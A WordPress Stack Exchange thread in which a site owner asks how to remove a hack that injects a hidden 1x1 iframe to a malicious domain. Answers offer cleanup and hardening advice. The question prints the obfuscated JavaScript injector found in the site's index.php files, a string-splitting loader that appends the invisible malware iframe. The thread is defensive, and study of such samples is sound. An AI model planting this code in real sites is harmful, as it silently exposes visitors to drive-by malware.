WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

On my site, the script below is being added:

<iframe width="1" height="1" frameborder="0" src="http://hysofufewobe.com/k985ytv.htm">

I tried searching every file in my WP install directory for "hysofufewobe" but got no results so possibly the code is being obfuscated.

I am not sure if WordPress or my host DreamHost is the problem. I've contacted my host asking if any reports have been made about similar issues. No reply yet. Thought I'd ask here in the meantime.

Anyone know what steps I can take to get rid of this script?

By the way, I made another thread here about this issue but I can't access it for some reason. Please feel free to delete that one if needed.

-edit- I checked /index.php and wp-admin/index.php and found the strange characters below at the very top before the <?php.

mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);

So I deleted it and everything looks like it's back to normal. The script doesn't append to my markup, either. I am skeptical that simply erasing those lines fixed the entire problem but don't know how to check. Any ideas?

share|improve this question

closed as off topic by toscho Nov 6 '12 at 1:37

Questions on WordPress Development Stack Exchange are expected to relate to WordPress within the scope defined by the community. Consider editing the question or leaving comments for improvement if you believe the question can be reworded to fit within the scope. Read more about reopening questions here.If this question can be reworded to fit the rules in the help center, please edit the question.

Read this thread – Verifying that I have fully removed a WordPress hack? – and follow the advices given there. – toscho Aug 14 '11 at 11:07

See FAQ My site was hacked in Codex, but really unless you are completely confident you can deal with check/cleanup/secure yourself - your only remaining option is to get/hire someone to do that.

share|improve this answer

I have the same issues on 10 different sites that all got hit today (not all wordpress) and were comprised with the same code. My best guess at this point is that I have malware on my LOCAL machine that used my FTP client to infect my sites.

My bad for storing passwords in the FTP client. I learned from this one.

Get good malware scanning tool, change all passwords for your sites. Don't store passwords in your FTP client.

share|improve this answer

useful links:

http://codex.wordpress.org/FAQ_My_site_was_hacked http://wordpress.org/support/topic/268083#post-1065779 http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/ http://ottopress.com/2009/hacked-wordpress-backdoors/

Then implement tips of this guide: http://codex.wordpress.org/Hardening_WordPress

share|improve this answer

We wrote about this wave of attack in our blog here. Check it out!

(moderator note) This was flagged and reported as site containing malware. I don't think that scans react to actual live malware (site warns about false positives), but enter at your own risk.


share|improve this answer
@Chris_O from what I can tell scans react to name of malware-related domain in link to other post on site, I do not see active instance of malware there?.. – Rarst Aug 22 '11 at 22:33
I didn't fully read the warning that popped up when I clicked it the first time. I deleted my comment. – Chris_O Aug 22 '11 at 22:37

Not the answer you're looking for? Browse other questions tagged or ask your own question.